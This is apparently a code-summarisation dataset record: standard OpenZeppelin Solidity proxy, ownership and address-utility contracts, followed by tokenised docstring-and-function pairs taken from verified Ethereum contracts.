// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../Proxy.sol"; import "./ERC1967Upgrade.sol"; /** * @dev This contract implements an upgradeable proxy. It is upgradeable because calls are delegated to an * implementation address that can be changed. This address is stored in storage in the location specified by * https://eips.ethereum.org/EIPS/eip-1967[EIP1967], so that it doesn't conflict with the storage layout of the * implementation behind the proxy. */ contract ERC1967Proxy is Proxy, ERC1967Upgrade { /** * @dev Initializes the upgradeable proxy with an initial implementation specified by `_logic`. * * If `_data` is nonempty, it's used as data in a delegate call to `_logic`. This will typically be an encoded * function call, and allows initializating the storage of the proxy like a Solidity constructor. */ constructor(address _logic, bytes memory _data) payable { assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1)); _upgradeToAndCall(_logic, _data, false); } /** * @dev Returns the current implementation address. */ function _implementation() internal view virtual override returns (address impl) { return ERC1967Upgrade._getImplementation(); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.2; import "../beacon/IBeacon.sol"; import "../../utils/Address.sol"; import "../../utils/StorageSlot.sol"; /** * @dev This abstract contract provides getters and event emitting update functions for * https://eips.ethereum.org/EIPS/eip-1967[EIP1967] slots. * * _Available since v4.1._ * * @custom:oz-upgrades-unsafe-allow delegatecall */ abstract contract ERC1967Upgrade { // This is the keccak-256 hash of "eip1967.proxy.rollback" subtracted by 1 bytes32 private constant _ROLLBACK_SLOT = 0x4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd9143; /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Emitted when the implementation is upgraded. */ event Upgraded(address indexed implementation); /** * @dev Returns the current implementation address. */ function _getImplementation() internal view returns (address) { return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; } /** * @dev Stores a new address in the EIP1967 implementation slot. */ function _setImplementation(address newImplementation) private { require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; } /** * @dev Perform implementation upgrade * * Emits an {Upgraded} event. */ function _upgradeTo(address newImplementation) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); } /** * @dev Perform implementation upgrade with additional setup call. * * Emits an {Upgraded} event. */ function _upgradeToAndCall(address newImplementation, bytes memory data, bool forceCall) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); if (data.length > 0 || forceCall) { Address.functionDelegateCall(newImplementation, data); } } /** * @dev Perform implementation upgrade with security checks for UUPS proxies, and additional setup call. * * Emits an {Upgraded} event. */ function _upgradeToAndCallSecure(address newImplementation, bytes memory data, bool forceCall) internal { address oldImplementation = _getImplementation(); // Initial upgrade and setup call _setImplementation(newImplementation); if (data.length > 0 || forceCall) { Address.functionDelegateCall(newImplementation, data); } // Perform rollback test if not already in progress StorageSlot.BooleanSlot storage rollbackTesting = StorageSlot.getBooleanSlot(_ROLLBACK_SLOT); if (!rollbackTesting.value) { // Trigger rollback using upgradeTo from the new implementation rollbackTesting.value = true; Address.functionDelegateCall( newImplementation, abi.encodeWithSignature( "upgradeTo(address)", oldImplementation ) ); rollbackTesting.value = false; // Check rollback was effective require(oldImplementation == _getImplementation(), "ERC1967Upgrade: upgrade breaks further upgrades"); // Finally reset to the new implementation and log the upgrade _setImplementation(newImplementation); emit Upgraded(newImplementation); } } /** * @dev Perform beacon upgrade with additional setup call. Note: This upgrades the address of the beacon, it does * not upgrade the implementation contained in the beacon (see {UpgradeableBeacon-_setImplementation} for that). * * Emits a {BeaconUpgraded} event. */ function _upgradeBeaconToAndCall(address newBeacon, bytes memory data, bool forceCall) internal { _setBeacon(newBeacon); emit BeaconUpgraded(newBeacon); if (data.length > 0 || forceCall) { Address.functionDelegateCall(IBeacon(newBeacon).implementation(), data); } } /** * @dev Storage slot with the admin of the contract. * This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103; /** * @dev Emitted when the admin account has changed. */ event AdminChanged(address previousAdmin, address newAdmin); /** * @dev Returns the current admin. */ function _getAdmin() internal view returns (address) { return StorageSlot.getAddressSlot(_ADMIN_SLOT).value; } /** * @dev Stores a new address in the EIP1967 admin slot. */ function _setAdmin(address newAdmin) private { require(newAdmin != address(0), "ERC1967: new admin is the zero address"); StorageSlot.getAddressSlot(_ADMIN_SLOT).value = newAdmin; } /** * @dev Changes the admin of the proxy. * * Emits an {AdminChanged} event. */ function _changeAdmin(address newAdmin) internal { emit AdminChanged(_getAdmin(), newAdmin); _setAdmin(newAdmin); } /** * @dev The storage slot of the UpgradeableBeacon contract which defines the implementation for this proxy. * This is bytes32(uint256(keccak256('eip1967.proxy.beacon')) - 1)) and is validated in the constructor. */ bytes32 internal constant _BEACON_SLOT = 0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50; /** * @dev Emitted when the beacon is upgraded. */ event BeaconUpgraded(address indexed beacon); /** * @dev Returns the current beacon. */ function _getBeacon() internal view returns (address) { return StorageSlot.getAddressSlot(_BEACON_SLOT).value; } /** * @dev Stores a new beacon in the EIP1967 beacon slot. */ function _setBeacon(address newBeacon) private { require( Address.isContract(newBeacon), "ERC1967: new beacon is not a contract" ); require( Address.isContract(IBeacon(newBeacon).implementation()), "ERC1967: beacon implementation is not a contract" ); StorageSlot.getAddressSlot(_BEACON_SLOT).value = newBeacon; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM * instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to * be specified by overriding the virtual {_implementation} function. * * Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a * different contract through the {_delegate} function. * * The success and return data of the delegated call will be returned back to the caller of the proxy. */ abstract contract Proxy { /** * @dev Delegates the current call to `implementation`. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _delegate(address implementation) internal virtual { // solhint-disable-next-line no-inline-assembly assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev This is a virtual function that should be overriden so it returns the address to which the fallback function * and {_fallback} should delegate. */ function _implementation() internal view virtual returns (address); /** * @dev Delegates the current call to the address returned by `_implementation()`. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _fallback() internal virtual { _beforeFallback(); _delegate(_implementation()); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other * function in the contract matches the call data. */ fallback () external payable virtual { _fallback(); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data * is empty. */ receive () external payable virtual { _fallback(); } /** * @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback` * call, or as part of the Solidity `fallback` or `receive` functions. * * If overriden should call `super._beforeFallback()`. */ function _beforeFallback() internal virtual { } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev This is the interface that {BeaconProxy} expects of its beacon. */ interface IBeacon { /** * @dev Must return an address that can be used as a delegate call target. * * {BeaconProxy} will check that this address is a contract. */ function implementation() external view returns (address); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./TransparentUpgradeableProxy.sol"; import "../../access/Ownable.sol"; /** * @dev This is an auxiliary contract meant to be assigned as the admin of a {TransparentUpgradeableProxy}. For an * explanation of why you would want to use this see the documentation for {TransparentUpgradeableProxy}. */ contract ProxyAdmin is Ownable { /** * @dev Returns the current implementation of `proxy`. * * Requirements: * * - This contract must be the admin of `proxy`. */ function getProxyImplementation(TransparentUpgradeableProxy proxy) public view virtual returns (address) { // We need to manually run the static call since the getter cannot be flagged as view // bytes4(keccak256("implementation()")) == 0x5c60da1b (bool success, bytes memory returndata) = address(proxy).staticcall(hex"5c60da1b"); require(success); return abi.decode(returndata, (address)); } /** * @dev Returns the current admin of `proxy`. * * Requirements: * * - This contract must be the admin of `proxy`. */ function getProxyAdmin(TransparentUpgradeableProxy proxy) public view virtual returns (address) { // We need to manually run the static call since the getter cannot be flagged as view // bytes4(keccak256("admin()")) == 0xf851a440 (bool success, bytes memory returndata) = address(proxy).staticcall(hex"f851a440"); require(success); return abi.decode(returndata, (address)); } /** * @dev Changes the admin of `proxy` to `newAdmin`. * * Requirements: * * - This contract must be the current admin of `proxy`. */ function changeProxyAdmin(TransparentUpgradeableProxy proxy, address newAdmin) public virtual onlyOwner { proxy.changeAdmin(newAdmin); } /** * @dev Upgrades `proxy` to `implementation`. See {TransparentUpgradeableProxy-upgradeTo}. * * Requirements: * * - This contract must be the admin of `proxy`. */ function upgrade(TransparentUpgradeableProxy proxy, address implementation) public virtual onlyOwner { proxy.upgradeTo(implementation); } /** * @dev Upgrades `proxy` to `implementation` and calls a function on the new implementation. See * {TransparentUpgradeableProxy-upgradeToAndCall}. * * Requirements: * * - This contract must be the admin of `proxy`. */ function upgradeAndCall(TransparentUpgradeableProxy proxy, address implementation, bytes memory data) public payable virtual onlyOwner { proxy.upgradeToAndCall{value: msg.value}(implementation, data); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../ERC1967/ERC1967Proxy.sol"; /** * @dev This contract implements a proxy that is upgradeable by an admin. * * To avoid https://medium.com/nomic-labs-blog/malicious-backdoors-in-ethereum-proxies-62629adf3357[proxy selector * clashing], which can potentially be used in an attack, this contract uses the * https://blog.openzeppelin.com/the-transparent-proxy-pattern/[transparent proxy pattern]. This pattern implies two * things that go hand in hand: * * 1. If any account other than the admin calls the proxy, the call will be forwarded to the implementation, even if * that call matches one of the admin functions exposed by the proxy itself. * 2. If the admin calls the proxy, it can access the admin functions, but its calls will never be forwarded to the * implementation. If the admin tries to call a function on the implementation it will fail with an error that says * "admin cannot fallback to proxy target". * * These properties mean that the admin account can only be used for admin actions like upgrading the proxy or changing * the admin, so it's best if it's a dedicated account that is not used for anything else. This will avoid headaches due * to sudden errors when trying to call a function from the proxy implementation. * * Our recommendation is for the dedicated account to be an instance of the {ProxyAdmin} contract. If set up this way, * you should think of the `ProxyAdmin` instance as the real administrative interface of your proxy. */ contract TransparentUpgradeableProxy is ERC1967Proxy { /** * @dev Initializes an upgradeable proxy managed by `_admin`, backed by the implementation at `_logic`, and * optionally initialized with `_data` as explained in {ERC1967Proxy-constructor}. */ constructor(address _logic, address admin_, bytes memory _data) payable ERC1967Proxy(_logic, _data) { assert(_ADMIN_SLOT == bytes32(uint256(keccak256("eip1967.proxy.admin")) - 1)); _changeAdmin(admin_); } /** * @dev Modifier used internally that will delegate the call to the implementation unless the sender is the admin. */ modifier ifAdmin() { if (msg.sender == _getAdmin()) { _; } else { _fallback(); } } /** * @dev Returns the current admin. * * NOTE: Only the admin can call this function. See {ProxyAdmin-getProxyAdmin}. * * TIP: To get this value clients can read directly from the storage slot shown below (specified by EIP1967) using the * https://eth.wiki/json-rpc/API#eth_getstorageat[`eth_getStorageAt`] RPC call. * `0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103` */ function admin() external ifAdmin returns (address admin_) { admin_ = _getAdmin(); } /** * @dev Returns the current implementation. * * NOTE: Only the admin can call this function. See {ProxyAdmin-getProxyImplementation}. * * TIP: To get this value clients can read directly from the storage slot shown below (specified by EIP1967) using the * https://eth.wiki/json-rpc/API#eth_getstorageat[`eth_getStorageAt`] RPC call. * `0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc` */ function implementation() external ifAdmin returns (address implementation_) { implementation_ = _implementation(); } /** * @dev Changes the admin of the proxy. * * Emits an {AdminChanged} event. * * NOTE: Only the admin can call this function. See {ProxyAdmin-changeProxyAdmin}. */ function changeAdmin(address newAdmin) external virtual ifAdmin { _changeAdmin(newAdmin); } /** * @dev Upgrade the implementation of the proxy. * * NOTE: Only the admin can call this function. See {ProxyAdmin-upgrade}. */ function upgradeTo(address newImplementation) external ifAdmin { _upgradeToAndCall(newImplementation, bytes(""), false); } /** * @dev Upgrade the implementation of the proxy, and then call a function from the new implementation as specified * by `data`, which should be an encoded function call. This is useful to initialize new storage variables in the * proxied contract. * * NOTE: Only the admin can call this function. See {ProxyAdmin-upgradeAndCall}. */ function upgradeToAndCall(address newImplementation, bytes calldata data) external payable ifAdmin { _upgradeToAndCall(newImplementation, data, true); } /** * @dev Returns the current admin. */ function _admin() internal view virtual returns (address) { return _getAdmin(); } /** * @dev Makes sure the admin cannot access the fallback function. See {Proxy-_beforeFallback}. */ function _beforeFallback() internal virtual override { require(msg.sender != _getAdmin(), "TransparentUpgradeableProxy: admin cannot fallback to proxy target"); super._beforeFallback(); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Library for reading and writing primitive types to specific storage slots. * * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts. * This library helps with reading and writing to such slots without the need for inline assembly. * * The functions in this library return Slot structs that contain a `value` member that can be used to read or write. * * Example usage to set ERC1967 implementation slot: * ``` * contract ERC1967 { * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; * * function _getImplementation() internal view returns (address) { * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; * } * * function _setImplementation(address newImplementation) internal { * require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; * } * } * ``` * * _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._ */ library StorageSlot { struct AddressSlot { address value; } struct BooleanSlot { bool value; } struct Bytes32Slot { bytes32 value; } struct Uint256Slot { uint256 value; } /** * @dev Returns an `AddressSlot` with member `value` located at `slot`. */ function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `BooleanSlot` with member `value` located at `slot`. */ function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Bytes32Slot` with member `value` located at `slot`. */ function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Uint256Slot` with member `value` located at `slot`. */ function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) { assembly { r.slot := slot } } }
* @dev Perform implementation upgrade with additional setup call. Emits an {Upgraded} event./
function _upgradeToAndCall(address newImplementation, bytes memory data, bool forceCall) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); if (data.length > 0 || forceCall) { Address.functionDelegateCall(newImplementation, data); } }
197,144
[ 1, 4990, 4471, 8400, 598, 3312, 3875, 745, 18, 7377, 1282, 392, 288, 1211, 19305, 97, 871, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 389, 15097, 774, 1876, 1477, 12, 2867, 394, 13621, 16, 1731, 3778, 501, 16, 1426, 2944, 1477, 13, 2713, 288, 203, 3639, 389, 542, 13621, 12, 2704, 13621, 1769, 203, 3639, 3626, 1948, 19305, 12, 2704, 13621, 1769, 203, 3639, 309, 261, 892, 18, 2469, 405, 374, 747, 2944, 1477, 13, 288, 203, 5411, 5267, 18, 915, 9586, 1477, 12, 2704, 13621, 16, 501, 1769, 203, 3639, 289, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0x6966553568634F4225330D559a8783DE7649C7D3/sources/contracts/wombat-core/asset/Asset.sol
* @notice Transfers ERC20 underlyingToken from this contract to another account. Can only be called by Pool. @dev Not to be confused with transferring Wombat Assets. @param to address to transfer the token to @param amount amount to transfer/
function transferUnderlyingToken(address to, uint256 amount) external override onlyPool { IERC20(underlyingToken).safeTransfer(to, amount); }
8,375,643
[ 1, 1429, 18881, 4232, 39, 3462, 6808, 1345, 628, 333, 6835, 358, 4042, 2236, 18, 4480, 1338, 506, 2566, 635, 8828, 18, 225, 2288, 358, 506, 2195, 3668, 598, 906, 74, 20245, 678, 16659, 270, 26284, 18, 225, 358, 1758, 358, 7412, 326, 1147, 358, 225, 3844, 3844, 358, 7412, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 7412, 14655, 6291, 1345, 12, 2867, 358, 16, 2254, 5034, 3844, 13, 3903, 3849, 1338, 2864, 288, 203, 3639, 467, 654, 39, 3462, 12, 9341, 6291, 1345, 2934, 4626, 5912, 12, 869, 16, 3844, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0xdbecDd726f6ad8e24aFc78fe3cC8eb7B73C2D94d/sources/ChainToolsV2.sol
Protocol FUNCTIONSprevent liquidity fragmentationShutdown tokenomics [emergency only!]Change issuance rateExclude from taxNew YIELD_VAULT implementationUnlock LPnew Yield Booster implementation
